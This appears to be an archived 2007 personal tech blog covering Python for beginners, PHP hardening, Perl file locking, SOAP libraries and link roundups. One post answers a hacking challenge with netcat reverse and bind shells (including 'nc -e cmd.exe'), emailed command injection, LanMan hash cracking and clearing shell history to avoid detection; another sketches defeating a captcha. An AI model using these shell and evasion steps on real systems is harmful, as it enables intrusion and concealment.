Back to Top

Monday, January 29, 2007

Starting to program

1 comments

Today I was asked if somebody who is getting into programming should start out with Perl?

First of all I would like to say that I feel honored that somebody would consider taking my advice. Second of all, I don't really feel that I can give an objective answer, since I've been doing it so long (for more than 14 years now) that I totally forgot how it's like to be a beginner. I will give my opinion here for what it's worth though:

Perl is not a good language to start to learn programming. The main reason is captured in the Perl slogan: there is more than one way to do it. While this approach may benefit people coming from other programming languages (because you can write code like in C, like in Java, like in Bash, etc), I assume that this would confuse newcomers.

I would direct people wanting to learn programming to Python. The reasons I recommend it are:

  • For everything there is only one way to do it. This is a big advantage because sample code you might find will use the same approach.
  • It has a large number of modules / libraries, so you can do almost anything, including games.
  • It is multi platform (including Linux, Windows and Mac OSX and many exotic ones like OS/2 or BeOS) so you can your code on your preferred OS
  • It is dynamically typed and garbage collected, so for the start you don't have to worry about data types and memory management (the two things most people struggle with when they get into programming)
  • It has a console, where you can try out things, write short programs and get immediate feedback. This is very useful for anyone learning the language.

Two books which I would recommend and are freely available on the web: Dive Into Python and Think Like a Computer Scientist (scroll down to find the download links). A more advanced one is Algorithms by by S. Dasgupta, C.H. Papadimitriou, and U.V. Vazirani, also freely available.

P.S: although it is customary in the Romanian (and probably other) education system to use Pascal and C as introduction into programming, I would strongly advise against them, because to use them successfully, one has to understand many details which are not related to programming strongly: memory management, compilers, data types, etc. Of course one has to understand these details eventually, but it helps if one is not overwhelmed with to many details when starting out.

An other very nice programming language would be Smalltalk (with something like Squeak), however their image concept (= everything is contained inside one single file) is a little hard to grasp and reduces the usefulness of the language (because it limits interaction with the outside world). Then again, for smaller children who don't have preconceived notions about files, directories, etc, it may be the ideal environment.

End even more links

0 comments

The Vista team replies to the to the DRM criticism - sort of. While the some of the concerns are directly answered (ie. the whole video output is not degraded, only the video playback window is), others are not or only dubiously treated. I won't run Vista for quite some time, this is sure.

Komodo is releasing a free version of their IDE. This is very exciting and I'm downloading it as we speak. Although the page on the difference between the two products is not very clear (am I to understand that all those features are only available in the IDE?) it's still exciting.

On Intervideo and software protection for dummies. Would please somebody give them a clue.

The three types of authentication :-D

A new cartoon: SecurityBullshit.com.

A very nice example of what you can do with the right intuition: Psychic Cryptanalysis.

An interesting project aiming to get the offline installation of software packages on Linux more readily available: Hyper-Get. This is very much in need if you wish to use your Linux computer off-line and this is one of the reasons I didn't use Linux until recently.

Sunday, January 28, 2007

PHP coders of the world - secure your code!

0 comments

Being a seasoned coder myself (I've been doing PHP coding on and off for 6 years now) I think I can speak with some authority about this subject. I came to believe that PHP is pretty much a Perl copy-cat where they eliminated the features which they considered too hard for the beginner. While catering for a beginner public is a laudable goal, you must think very, very hard how a feature can be abused, because beginners, exactly because they are beginners, do not have a firm grasp of the side effects of their actions. And many of them fall in the it works, so everything must be ok trap.

Also for a pretty long time the official PHP documentation contained little information about security. (This is not true any more though. They have an entire chapter about it. Go read it if you haven't done so already. Also they mention security considerations in the documentation of every function where it is the case).

Even so 43% of the bugs found in 2006 were in applications written in PHP. This is pretty staggering when you think about the fact that PHP being a dynamic interpreted language eliminated several large categories of vulnerabilities present in classical languages: buffer overflows, double frees, format strings, etc. But it bought others: remote file inclusions, SQL injections and cross site scripting. The statistics should worry both the hosting companies and users of products written in PHP and should serve as a wake-up call to the programmers of such systems. Below all a bunch of tips which should help somewhat in securing the servers / applications, but they are not 100% effective (then again, nothing is).

  • The most important one (although all of them are important): turn off allow_url_fopen and allow_url_include. This is a feature which caused a lot of security problems and I suspect that the only reason for its existence that it's a cool programming abstraction (wow I can tread local and remote files in the same way!). However I claim that this is used by less than 0.01% of all the projects out there and yet if haunts all of them. You can disable these functions server wide (if you own the server) or on a per-directory basis (see the corresponding manual page if you're running Apache)
  • Turn register globals off if you haven't done so already. This is pretty much turned off on all current installations of PHP (since off is the default since version 4.3.0), but you can never know. Avoid software which claims to need this feature turned on as plaque. I remember that at one point I looked at osCommerce and when I saw that they said something along the lines of for proper functioning this requires register_globals to be turned on, we're working on the next version which will function with it off I ran like hell (to their defense this was a couple of years back and most probably they fixed the issue)
  • Turn magic quotes on if possible. Now this is a little more tricky than the previous two, since this may actually break perfectly secure code. So use it with care and remember that you can turn it off and one on a per directory basis if you're using Apache and PHP as a shared module.
  • Turn on safe mode. This again can be a little problematic, because while many big software packages (like Wordpress or phpBB) work flawlessly, most probably you will encounter ones that don't. Also, this setting is global to the whole server, which means that (a) only the sysadmin can set it and (b) all the users must agree.
  • If you are using shared hosting, store sessions in the database. The default session handler uses the filesystem to store sessions handles, more precisely the temporary directory which is shared between all the users. This means that others hosting sites on the same server can steal / modify your session data.
  • If you are a programmer, read OWASP. Read their top ten problems. Be sure to understand them. Consider using their input filters. Remember however that there is no silver bullet and only though knowledge can you attain true security!
  • If you are system administrator, consider deploying Suhosin and / or mod_security. Keep in mind however that deploying these solutions is usually not possible on shared hosting servers, because they almost certainly break some scripts. Their deployment must be a coordinated effort between the application team and the sysadmins.
  • If you are currently considering different PHP applications / scripts: look out for the above mentioned signs. If the script author recommends to turn any of those settings on / off, that should be strong sign not to use that script.
  • If you are a developer, use prepared statements for you SQL queries. Read this short introduction at SANS to get the basic idea. This is an other idea where PHP is severely lacking. Perl had prepared statements since the early release of the DBI libary in 1991 (that's right, since more than 15 years!). It is very hard not to use prepared statements in Perl. Consider using a database abstraction layer. Know however that Pear::DB does not do proper prepared statements! I don't know about ADOdb.

Even more links

0 comments

I'm trying to eliminate all my backlog because it is possible that I will have limited connectivity for some time. So here goes an other batch:

After using Google and Excite as redirector, it is the turn of Lycos: here is link which will take you to Google http://r.lycos.com/r/sagel_mail_scratch_tl/http://google.com (based on a spam I got).

While on the subject of redirecting, it seems that one ISP is redirecting their users to other services than they were going. This is definitely malicious and should be protested against!

An interesting post about Object Data Bases from somebody who seems to have first hand experience with them.

How to use the javascript event model to your advantage - by ppk. Interesting, but most probably people won't use this approach exactly because you have to take a step back and think about it, plus it behaves slightly differently in different browsers.

Dr. Dobb's should do a better job in filtering submissions. I don't know who this guy is but his article Open-Source Encryption Utility Frustrates Phishers makes absolute no sense. In the best case it is an open source zealot who tries every approach to hype open source, and in the worst case he is a complete ******, who doesn't understand what the word phising means. And yes, I tried to comment on the original article, but the register a new account link takes me back to the page intended to recover forgotten passwords.

A new version os PuTTY has been released. So you are on windows, go grab a copy.

An insightful article about anti-malware companies. It is rally sad.

A similar grim remainder that making everyone 100% safe is not the main goal of the anti-virus / anti-spyware industry's goal, is this blog posting Kaspersky Labs in which they try to convince people that the new iPhone is just an other device which needs / will need AV products, completely failing to mention the fact that it is intended to be a very locked down platform with minimal probability of home-brew third party software installation.

An intersting write-up on Groklaw which seems to imply that BSD licensed software is not so free after all. Two things: all that lawyer talk makes my head hurt (or maybe it's because I have a cold :-D) and I'm willing to bet a large sum of money that this will never stand a chance in the courts.

I always felt that online security magazines were a bizarre idea. And what I find most annoying that more than half of each edition are advertisements. And the content isn't to great either.

From Slashdot: Microsoft Copies Idea, Admits It, Then Patents It. The most insightful comment I've heard about software patents was in a podcast (I don't remember which though because I listen to so many) and something along the lines: supposedly the main advantage of patents is that you can look at what others did, and take ideas from there. Yet most lawyers advise programmers not to look at software patents because it poisons them. So there is no argument any sane person can make in favor of software patents. On a related note: Jury Rules That H.264 is Not Patented.

soapUIis a free and open source program for testing SOAP interfaces written in Java. Fiddler is a HTTP Debugging Proxy. I only used Paros though.

There are some free chapters out there from the Mastering Perl book.

Google seems to embrace web feeds everywhere: you can subscribe to both to blog search results and news search results (unifying even more the information gathering interface).

Mixed links and commentary

2 comments

A very nice T-Shirt. I especially like the Comments (0) part ;-)

There has been some controversy over a recently released service which claims to tell you if your credicard number of social-security number has been compromised. While I understand (and agree with) all the arguments brought against it, I would like to point out that the risk of exposing the data can be reduced by storing its (salted) hash and not storing any relation between them (like this CC# and SS# belong to the same person) even if this was available in the source. I find it curious that nowhere in their FAQ is this mentioned, which leads me to believe that they are not using it, in which case panic, panic, panic since your security companies are dumb! (A side not: hashing, even with salt, is not the ultimate solutions since if somebody breaks into their site they will probably have access to the salt(s) and the key space is small - 9 digits for SS# and 15-19 digits for CC# - so that a brute-force attack is feasible). This is a dumb idea.

On episode 211 of .NET Rocks they interviewed Raymond Chen, a very smart programmer / blogger (and now book author) from Microsoft. Worth listening to!

Via Limite Exposure: a long list of online network tools. I didn't had time to look at them all, but I very much liked the homepage of Team Cymru with many useful tools and explanations of the lesser known aspects of networking, the robtex swiss army knife which includes a linkable GIF (yes GIF, not Javascript or Flash!) that displays information about the user (you can see an example below) and traceroute.org, which lists different sites offering online traceroute services by country. PeeringDB is also very interesting, but it seems that IPSs (event the big players) from Romania are not well covered (most probably because this is a system which builds upon individuals contributing and not automatic datamining). And last but not least: Vendor/Ethernet MAC Address Lookup and Search.

robtex

Being a keyboard junky myself, this seems a very interesting product!

Java is (currently) the ultimate cross-platform application platform, but also the ultimate cross-platform exploitation engine. So follow SANS's advice and make sure that you update / remove the old version. On a related note: Microsoft came out with something called WPF/E (Windows Presentation Foundation/Everywhere) which is something similar to Flash. What is very interesting is that the download is small (much like the Flash player), no managed code (ergo no need for a 22MB .NET framework) and support for alternative platforms (both in browsers - ie. Firefox - and platforms - they currently support Mac OSX but plans to support Linux are already announced). What is exciting about it is that they included the WMV / WMA decoder in it, so there is an other largely available technology to distribute multimedia content on the web! (Listen to the Hanselminutes show covering it)

A russian researcher (I put the work in quotes because he is more of a teen whose biggest wish is to brag) claims to created an undetectable rootkit called Unreal. My thoughts are:

  • EP_X0FF and the likes should get a first life. Somebody who is incapable of logical reasoning, who calls killing an utility bypassing it and tries to chat with anybody he believes to be a girl is not somebody who should be taken seriously (and neither should their product).
  • It is surprisingly how little attention the practice of running as limited user (as opposed to Administrator) gets both from security companies who don't even mention it in their list of steps you can take to be more safe and from Microsoft itself. It is even more surprising if you think about the fact that running as limited user eliminates the possibility of getting infected by (kernel) rootkits and makes your security products immune to tampering from malware, so that they don't have to use dirty and risky hacks to achieve this. Not yet convinced? Think about this: you get all this security for free (if you purchased Windows :-D), most programs have no or very little problem running under limited accounts and Microsoft has now a free program which can be used to quickly diagnose problems with ill-behaved programs.
  • There is of course the whole issue of ethical conflict, an other reason to ignore EP_XOFF and the likes.
  • There will never be a generic detection for rootkits, because any detection will have to run in the same security domain as the rootkit (we suppose that the tool is used after the fact). Much like the good old DOS days and the advice is the same: boot from a clean media (floppy in the old days, CD-ROM today) and do a scan from there. The big difference is however that we have the technological possibility to confine the malware: it is called protected mode. All you have to do is to run an operating system capable of using it (which is true for all the current ones, including Windows, Linux, the BSD variants, Mac OSX, etc) and configure it properly so that you don't use the Administrator / root account!

In conclusion, my plea to the security companies is: if you are serious about user education, start educating them about running as non-privileged users!

Winners of the 7th malware analisys quiz

0 comments

The 7th malware analisys quiz has announced the winner and (surprisingly) they picked my description :D. You can read my submission (warning, PDF). I would also encourage you to read the other three submissions which made to the top, since they all contain useful information (like a pointer to the software made by Winalysis) if you are interested in the field.

Congratulations to all the participants and I can't wait for the next quiz!

Linux tips

0 comments

I am and will be very short of time for a couple of weeks, so most probably these will be the last posts for the month.

If you've read and followed my advice on re-creating the swap partition after failed hibernation, there is one caveat I discovered: after recreating, the swap partition is not automatically mounted. This can result in sever system instability and programs crashing very quickly due to their inability to allocate memory. To verify that your swap partition is mounted, fire up a console and execute the free command (thank you my Linux guru friend). If on the last line is says Swap: 0 0 0, you have a problem. Fortunately remounting the swap partition does not require reboot, just execute (from a console): sudo swapon -a. Also, check after the next reboot if the swap partition got mounted (just to be sure).

Also, if you're short of disk space and want to follow my advice on deleting crash dumps, be sure to also check under /var/crash, which is an alternative place to store crash dumps as I discovered. You need root privileges to delete files from here, so if you want to remove them, do a sudo rm /var/crash/*.

Saturday, January 20, 2007

Don't claim that you have a revolutionary technology...

0 comments

Unless you have done your research. I was listening to the latest CyberSpeak podcast yesterday (a very nice podcast by the way) and I heard the guy (Chad McMillan) who was being interviewed talking about a revolutionary new technology for identifying packed executables by signature which he will be presenting at BlackHat. I wonder how many people who attend BlackHat know about PeID which does all the things this guy claims (including scanning for the packer in all the file not just at the entry point) and has a huge list of packers. And you can visit the forums for even more user contributed signatures.

An other example of the same phenomenon can be heard in an Ajaxian podcast where the subject claims that they created a color picker in javascript which is so advanced that it can't be seen on the internet. After no more than 2 minutes of googling I not only found a third party implementation but also a tutorial which describes step by step how to create it! Never been implemented before? I don't think so...

Finally a note about the captcha image on the CyberSpeak podcast blog: I don't want to give any ideas to spammers, but from a technological stand point it is relatively week. I remembered the morphological filters from my image processing class and Gimp has already these implemented (unders Filters -> Generic). Below you can see an example captcha, the same image after the Dilate filter was applied and finally the same image with a Dilate and then an Erode filter applied. The main weaknesses in this captcha are that the noise is always one pixel in width (thus a single pass of Dilate eliminates it) and that the background is of solid color (thus it can easily be identified). The captchas generated by blogger are much better, but sometimes they can be funny.

And one final note: the dilated / eroded picture with the original picture applied over it as alpha mask (meaning that it's white only where both the original picture and the dialed / eroded picture is white):

Wednesday, January 17, 2007

Perl, Windows and File Locking

1 comments

For some Perl scripts you want to make sure that only one instance of it is running at the same time. So you use lockfiles, in a way like this:

open(LockFile, ">$lock_file") or die("Failed to lock file $lock_file, error: $^E");
flock(LockFile, LOCK_EX) or die("Failed to lock file $lock_file");

The idea being that the OS guarantees you that only one process can have an exclusive lock on a file at a time (warning! this is true only on local file systems! don't try this with networked file systems like Samba of NFS!)

All is nice and dandy until you try to execute other programs from inside your script. To make the problem more hands-on: let's say you have the script A.pl which launches multiple instances of B.pl in a fire and forget manner. Let's say that at one moment A.pl dies (or is killed) and you try to restart it. If you are on Linux, no problem, however on Windows you may be greeted by the messsage "failed to aquire lockfile". So you fire up Process Explorer and make sure that no other instance of the script is running. Still you get the same error when trying to start up. The next step is to search for open handles to the given lockfile. Much to my surprise I found that instances of B.pl had handles opens to it.

How did they get it? The API for creating processes under Windows is CreateProcess (no surprise here), but look at the 5th parameter: BOOL bInheritHandles. Quote from MSDN:

[in] If this parameter TRUE, each inheritable handle in the calling process is inherited by the new process. If the parameter is FALSE, the handles are not inherited. Note that inherited handles have the same value and access rights as the original handles.

Now the source of the problem became clear: A.pl had a file handle open to the lockfile, which was inherited by each process launched by it. While the children process were running, you couldn't restart the master process. But why doesn't the problem appear on Linux? Because Larry Wall has thought of this problem, and decided (very sanely) that only three handles should be inherited by the child process by default: STDIN, STDOUT and STDERR. This is controlled by the $^F / $SYSTEM_FD_MAX variable. Unfortunately setting this variable has no effect whatsoever on Windows, since the file handles don't start at 0 for it.

The first solution which came to mind was to replace each call of system with Win32API::CreateProcess, however there was the possibility that I may miss some system calls in current or future scripts.

My second idea was to intercept somehow the fork event and close in the child process the handle to the lockfile. This was a better idea, since I could do this once and it would take effect everywhere, however there was a problem: I couldn't find a way to detect the execution of fork.

Here is the third and final solution. Only the locking subroutine must be modified and no additional burden is laid on the programmers using the subroutine (ie. they don't have to remember to use some additional magic when running external programs):

First, include the appropriate library, but only if we are running Windows (to make the code cross platform compatible):

if ($^O =~ /Win32/) {
  use Win32API::File qw(:Func :HANDLE_FLAG_);
}

Now do the following after you opened the file handle to the lockfile:

if ($^O =~ /Win32/) {
  my $os_handle = GetOsFHandle(*LockFile); 
  SetHandleInformation($os_handle, HANDLE_FLAG_INHERIT, 0x0) if ($os_handle);
}

This will tell Windows that the handle shouldn't be inherited by the child processes, even when the bInheritHandles parameter of CreateProcess is set to true (remember, the documentation said each inheritable handle, not each handle). For more details see the SetHandleInformation API page. Also remember that not only file handles but other type of handles (like event or mutexes) are also inherited and this method is also applicable to those.

Tuesday, January 16, 2007

Excite-d about spam

0 comments

Not really. Yahoo does a pretty good job of filtering out spam. From time to time however I check my spam box to see if some newsletter or password notification got lost there (these are the two types of e-mails I found that are most often erroneously tagged as spam by Yahoo). And yesterday I seen a spam message which uses Excite as redirector. If you're old and cranky like me, you remember the days when Yahoo, Excite and AltaVista were the big three and when we thought that the home page must be filled with every possible link to every possible service (aka. portals). If you don't, just read up on Wikipedia. Anyway, back to business: the Excite people have been notified (although I received no response yet). This site is not as well known as Google, so the concerns with users trusting it apply to a lesser degree. However it may be used in a targeted phishing attack. To see some of my thoughts about how to program a safe redirector, read my short post about Google's spam problem.

Mixed links and commentary

0 comments

Fresh from the web:

The latest version of the Uninformed magazine is out. Although it contains only three articles, two of them are definitely worth reading if you are interested in reverse engineering.

Google Webmaster Central. If you have problems with your site being (or not being) indexed by Google, take a look here. The corresponding page for Yahoo is Yahoo! Search Help. For MSN/Live search I couldn't find any such resource which may be explained with their relatively short existence. You can try to look on the Live Search WebLog.

Via Ajaxian: Weebly - Website Creation Made Easy. They got a nice video presentation and there is a short mention of web standards in it (something along the lines of standard compliant web page).

Why I don't host my own blog (aside from the fact that I'm a cheap bastard)? (a new Wordpress bug)

A new open source virtualization software: VirtualBox Open Source Edition (OSE). I didn't try it yet, but it sounds interesting. There are some question raised about the true open source nature of the product, but it still looks interesting.

A new web based WYSIWYG editor: SPAW 2. It has a nice interface, however it doesn't seem to provide anything revolutionary and it's not really supporting web standards (go over to the Boagworld site and listen to some of the podcasts to get a feeling of how great web standards are)

Via Ajaxian: an online javascript editor (also read the blog)

Monday, January 15, 2007

On javascript libraries

0 comments

I did a little project for school which included the dojo.gfx library. Here are share some of the conclusions I arrived at. But first a disclaimer: INAJD (I'm Not A Javascript Developer). I dabble with it but I'm not a professional. Now back to our topic:

Javascript libraries are huge. After including the dojo toolkit, the page took more than twice as long to load locally. Now I'm not saying that they are worthless, because there is some very, very good code in them (like dojo.gfx, which is incredible), but with todays browser performance they are not the way to go. Again: the main problem is todays browser perform very poorly when importing javascript files and while the library management part of dojo for example is very nice, it also results in the page loading slower (some times much slower). The dojo guys are of course aware of this and from what I understand they included the most common packages in the main dojo file to eliminate some of this burden, but that is still a workaround. What I would like to see is a package system which would resolve dependencies offline and would generate a (compressed) javascript file which includes all the needed functions in one place.

As I found out the javascript libraries debate has been going on for some time on the blogs, so here are the links to some articles (most of them don't discuss the issue from the point of performance, but from the point of view of the (beginner) developers and if it benefits them):

The New Amateurs - by ppk at quirksmode. BTW, this guy really knows what he's talking about when it comes to javascript! If you are looking for methods of doing something in Javascript, you should definitely first check out his site.

The New Amateurs - part 2 - the sequel.

Again JavaScript libraries

fog of libraries

Too many libraries, not enough librarians

Your own personal library

Reducing the pain of adopting a JavaScript library

Dear JavaScript Library Developers... - a post I very much agree with. I didn't have any previous experience with Dojokit and when I went to the documentation site I was greeted by the following choices: Dojo Book, API Reference (not completed yet), Dojo Manual (obsolete) and Old Documentation Site. That's three out of four documentation sources were marked explicitly or implicitly as not really usable. Fortunately the warnings turned be untrue (at least until now) and everything described there worked just fine, but it was a little frightening. And by the way: the API documentation doesn't work with Opera 9, which is a shame since it has the best support for SVG and because of this it was the browser of my choice for this project.

The dark side of JavaScript libraries and Why good JavaScript libraries fail

A childhood memory

0 comments

Something very interesting happened: I remembered that I used to watch (and love) an animated television series called Voltron. But the punchline is how I remembered it: by reading an article on A List Apart about web standards. Incredible, isn't it?

Hack the Gibson #73 & #74

0 comments

Well, don't hack it. Actually the last two episodes of Security Now! were very insightful and as far as I know without major mistakes. The interview with Peter Gutmann is very interesting and if you have time you should read the original paper: A Cost Analysis of Windows Vista Content Protection. My opinion about it? I think that it's slightly overhyped and would like to see a technical rebuttal from MS, but probably there is some truth to it.

Hacker challenge over

0 comments

The Christmas (Hacking) Story challenge is over and unfortunately I didn't win :), so I publish my response:

  1. What is interesting about the files that Ralphie could see on the lamp server?

    nc is most probably netcat (http://netcat.sourceforge.net/), the "network swiss army knife" (the fact that it's executable, as can be seen from the directory listing, is an other indication that it's netcat). The empty file is very handy, because (a) it's empty, so at the end it will be easier to restore it's contents (see the answer to question 4) and (b) because nc can't pass parameters to the executable is pipes, so we need a file to store those parameters (see answer 3).

  2. What is the significance of the Annie cyphertext?

    They are LanMan hashes, which give a hint to the solution and also contain a subliminal message ;)

    62b7cd49704064bdaad3b435b51404ee DRINK
    97e61e27b7599adfaad3b435b51404ee MORE
    04baf1615a04764eaad3b435b51404ee OVAL
    c90b9e4f1b743404aad3b435b51404ee TINE
    4eaf812dafa29cf7aad3b435b51404ee BUY
    aab65b7207a5faf9aad3b435b51404ee COUNTER
    9d82cdff56b35758aad3b435b51404ee HACK
    e414a2208c930d79aad3b435b51404ee RELOADE
    eced132790cb280baad3b435b51404ee USE
    f6f2790b99137838aad3b435b51404ee NET
    bbc70d3c8f0049a5aad3b435b51404ee CAT
    a5cd742a1ff7dd5aaad3b435b51404ee RELAY
    

    They can be cracked either by dictionary attack or using rainbow tables (http://ophcrack.sourceforge.net/). An other interesting method to crack them would be the work of Dan Moniz and Patrick Stach (check out their presentation at http://www.shmoocon.org/2006/presentations.html), however they haven't released any public material (yet).

  3. What command could Ralphie e-mail to the lamp to get access to the command shell on the furnace server from the kid's network to read the Christmas list? What should Ralphie do on his own laptop for this to work? Assume that you cannot alter the configuration of the lamp or get any higher privileges on that machine, nor can you reconfigure the firewall.

    First he should open up a listener on port 80 or on port 443. He can do this by using netcat (there are versions of netcat for nearly every operating system, so it really doesn't matter what he's running on the laptop). The command would be:

    nc -l -p 80 (or 443)

    If he's running a unix* variant (linux, bsd, MacOS, etc), he needs root privileges to open up such a low port. We assume he has root privileges on his own laptop, and he would do:

    sudo nc -l -p 80

    Now he needs create the relay between his computer and the protected windows server. First he should write a little script in the chimney file (using commands sent via e-mail to the lamp server. each line represents a separate command):

    echo \#\!\/bin\/bash > chimney

    echo \.\/nc 10.10.10.10 2222 >> chimney (instead of this he could use echo telnet 10.10.10.10 2222 >> chimney as telnet is present in 99.9% of the linux distributions, but just to be cautious, we use netcat)

    chmod +x chimney

    Now we are ready to create the tunnel. Issue the following command through e-mail:

    ./nc 10.11.11.11 80 -e ./chimney

    We should get back on the kids computer a connection to the shell running on the windows server) and we can check out the text files.

  4. How can Ralphie make the activities you describe above less likely to be detected by his Old Man?

    After we disconnect from the shell it will die on the windows server (meaning that it won't be accessible after it) unless it is launched from a batch file like

    
    :start_shell
    nc -l -p 2222 -e cmd.exe
    goto start_shell
    

    So the first thing we need to do is to restart the shell. This can be done easily by creating a batch file (c:\nc.bat for example), with the following content:

    start c:\nc.exe -l -p 2222 -e cmd.exe
    del c:\nc.bat
    

    (by doing an echo ... >> c:\nc.bat from the shell for example) and scheduling it for a moment shortly after we disconnect with the at command (for example if we are ready to disconnect at 13:30, we execute the command at 13:32 "c:\nc.bat" and then we disconnect). The start at the first line is necessary so that we don't wait for netcat to exit before we can delete the batch file. The schedule will be automatically deleted after it's executed so we don't have to worry about that. The shell will be executed under the SYSTEM account, so it's not likely that an access denied error message will appear when the Old Man connects to it and tries to execute commands (which could raise his suspicion). Then again, with advanced system monitoring tools like Process Explorer from SysInternals (now Microsoft) - http://www.microsoft.com/technet/sysinternals/utilities/ProcessExplorer.mspx - one can see two suspicious things:

    • the process ID will be different (is one has known the original one)
    • the nc process will be without a parent (as the parent dies after starting it). it may be that the original nc had a well defined parent.

    Windows has nothing similar to bash history, so we don't need to worry about it. However we should cover our tracks on the Lamp server by issuing the following command through e-mail:

    chmod -x chimney
    cat /dev/null > chimney
    history -c
    

    (the last line is useful to clear the history file for the shell which executed the commands, hiding one of the possible sources to discover the offending IP address. However an empty history file in itself is suspicious and also it may be that the emails themselves are logged somewhere)

You can also see an other response over at the Security Ripcord blog. The official response is here and the two winning submissions can be found here and here.

Friday, January 12, 2007

Implementing Web Services with Open Source Software

0 comments

Today many services are available (both internal and external to a company) as Web Services, more specifically as SOAP. Companies like Microsoft, IBM or Sun have heavily invested in this field and made many of their products compatible with it (as a client and/or as a server). In this article I will study the different possibilities of implementing a SOAP server with Open Source solutions.

The specific requirements are:

  • It should use the HTTP transport layer (the most commonly used in SOAP)
  • It should either have an embedded HTTP server or be usable with Apache
  • It should be platform independent

But let me step back for a moment and ask: why would you want to go this route? Why not use the product of well known companies which offer integration with developer tools and in some cases are available for free? While those products are certainly more mature and easier to use, when going the OSS route you have:

  • more flexibility (because you have the full source code available - and even if you don't want to actively participate in the development process, it helps a lot for debugging),
  • more deployment options (just think how many webhosts offer Apache / MySQL / PHP / Perl as opposed to IIS, WebSphere or Java)
  • when extending the possible interfacing options of a product written for this platform (adding a SOAP API for a wiki for example) it is easier to use something like this rather than requiring the installation of a whole new framework
  • and finally the issue of the cost: while not a big problem because (a) academic institutions already have or can get free licenses for much of the products and (b) the companies themselves distribute their products (or at least some versions) free, it may still be an argument.

By doing research following these guidelines the following three possibilities emerged:

  • The SOAP::Lite library for Perl

    Advantages:

    • Very easy to use
    • Available across platforms (both from the CPAN and PPM repositories)
    • Has an extensive "cookbook" (set of short HOWTOs): http://cookbook.soaplite.com/
    • Runs in Apache (either as CGI or with mod_perl - in the later case you may need to replace SOAP::Transport::HTTP::CGI with SOAP::Transport::HTTP::Apache in the examples)
    • Has tracing functionality (to enable it at the client side, use the following way to include the library: use SOAP::Lite +trace => 'all'; and then redirect the stderr output (where the tracing info is dumped) to a file like this soap-clien.pl 2>debug-info.txt

    Disadvantages:

    • Does not support automatic generation of the WSDL file
    • Sometimes it insists on sending the variables as a certain type (integer) even though I would like to send them as string
  • The SOAP library included with PHP

    Advantages:

    • Usually readily included with PHP
    • Cross platform
    • Under active development

    Disadvantages:

    • Does not support automatic generation of the WSDL file
    • There are few tutorials for it
    • Very basic debugging support. PHP has a weak debugging support out of the box, but the fact that the majority of the functions are implemented in a binary library makes things even worse (because you would need a hybrid PHP/binary debugger for proper debugging)
  • The NuSOAP project for PHP

    Advantages:

    • Cross platform (written in PHP)
    • Automatic WSDL generation
    • When accessed with a browser, it presents a friendly HTML interface which lists all the published methods / objects and their parameters
    • Distributed as PHP source files which can be easily installed to most hosts (the user doesn't need to ask the server administrator to load extra binary modules)
    • While PHP has no integrated debugging support, the library itself tries to output debugging information. To activate this mode set the debug variable to 1 (like this: $debug = 1;). The debugging information will be appended to the reponse XML as a comment.

    Disadvantages:

    • Not very well maintained (probably because of the existence of the "official" PHP SOAP module)
    • Few examples and many of the examples don't work. For working examples go to the authors webiste
    • Conflicts with the official PHP SOAP module. If you get an error saying something along the lines of can not redefine class soap_client, you have to unload the PHP SOAP module. An other option would be to go through the source and rename this class.
    • No real debugging support (because PHP doesn't have one).

The final choice was NuSOAP. The deciding factor was the (semi)automatic - because you have to give it hints about the parameter types - WSDL generation. This is essential if you wish to make your service available to the largest possible audience, especially those using statically typed languages. A perfect example is the .NET / Visual Studio environment, which needs the WSDL file to automatically generate the stub for the web service.

A little side note: if your web service is accessed through SSL / HTTPS and the certificate authority who signed the certificate of the server is not trusted (ie. it's not Verisign), you get some warnings while generating the stub in Visual Studio and the final program will halt with an exception saying something like Could not establish a trusted connection over this SSL/TLS connection. The most common cause of this is the fact that the developer uses a self-signed certificate for the server. As far as I know there is no way to stop this from happening from inside the framework. However, because the framework shares its network access architecture with Internet Explorer, you can correct it from there. First you will need the certificate from the server (a .crt file, server.crt). Then go to Tools->Internet Options and select the Content tab. Click on Certificates, go to the Trusted Root Certification Authorities and select Import. Point it to the server certificate and answer affirmatively to the confirmation dialog. From now on that certificate will also be considered a trusted root certificate, you won't get warnings while browsing sites with it (and those sites might even have elevated privileges - depending on your Internet Explorer configuration), but most importantly your .NET client side code will work just fine.

The test project was to implement a web service which simulated some simple state machine(s). The project was implemented on the following platform:

The test was done on a Windows XP Pro machine using XAMPP to quickly install all the required components, however there is nothing platform specific in the code or the components, so it should be easy to replicate it on a different platform (Linux for example). The PHP code for the server side can be seen in Appendix A and an example for a state machine definition file can be found in Appendix B. An example client program written in C# can be seen in Appendix C.

The structure of a state machine definition file is as follows:

  • The root node is stateMachine. It has one mandatory parameter: initialState which specifies the initial state it is in
  • In the messages section it defines all possible messages (identified by name) which can be sent to this machine. This enumeration is needed to be able to check the validity of the message names provided later to guard against miss-typing.
  • The list of states identified by name. The states can be of two type: auto and message. Those of type auto automatically advance from the current state to the next state depending on the contained action elements. Those of type message wait for a message to advance.
  • The action elements contain the following attributes:
    • nextState - mandatory, the name of the text state if this action is chosen
    • waitBefore and waitAfter - optional, the amount of period to pause before and after executing this actions, in milliseconds. If omitted, zero is assumed. It must be a positive integer.
    • probability - a number greater than 0 but less or equal to 1.0. Determines the probability of this action being chosen. 0 means never and 1 means always. The sum of probabilities for a group (state element for auto states and message element for message states) must be 1.0. If some probabilities are omitted, the remaining probability is distributed amongst them (so if we have 5 action items and the first has a probability of 0.1, the second one of 0.3 and the rest are omitted, the last three will each have a probability of 0.2)

The exported functions by the server are:

  • postMessage(stateMachineName: string, message: string): string

    posts a message to the state machine identified by the stateMachineName. The definition for this state machine must be stored on the server in the file <stateMachineName>.xml. It is assumed that there is only one instance "running" of each server. This is guaranteed by the fact that the state of them is stored in a database table protected by write locks during the transitions. The method is synchronous and returns the name of the current state resulted from processing the message and any other automatic steps (states of type auto) which followed. One thing to keep in mind is that if you specify a state of type auto for the initial state, this will also be evaluated at the first message posted. On error it returns an empty string and you can use the getErrorMessage function to get the error message.

  • getMachineState(stateMachineName: string): string

    Gets the current state of the given state machine. It's asynchronous (with respect to the state machine, not the caller). If an error has occurred in the state machine it returns the empty string. You can use the getErrorMessage function to get the error message.

  • getErrorMessage(stateMachineName: string): string

    Returns the error message for the given state machine or empty if no error exists

  • resetMachineState(stateMachineName: string): void

    Resets the machine to its initial state (as specified by the initialState attribute of the correspoding definition file)

  • resetAllMachines: void

    Resets all the state machines to their initial state

Appendix A - PHP Server side code

To install it you would need the following items:

  • The NuSOAP library in the lib subdirectory (or anywhere else, just be sure to adjust the include directive accordingly)
  • The PearDB package for database access
  • Adjust the $data_directory variable so that it points to directory where the XML files describing the state machines are located. Important: include the trailing slash or backslash depending on the platform
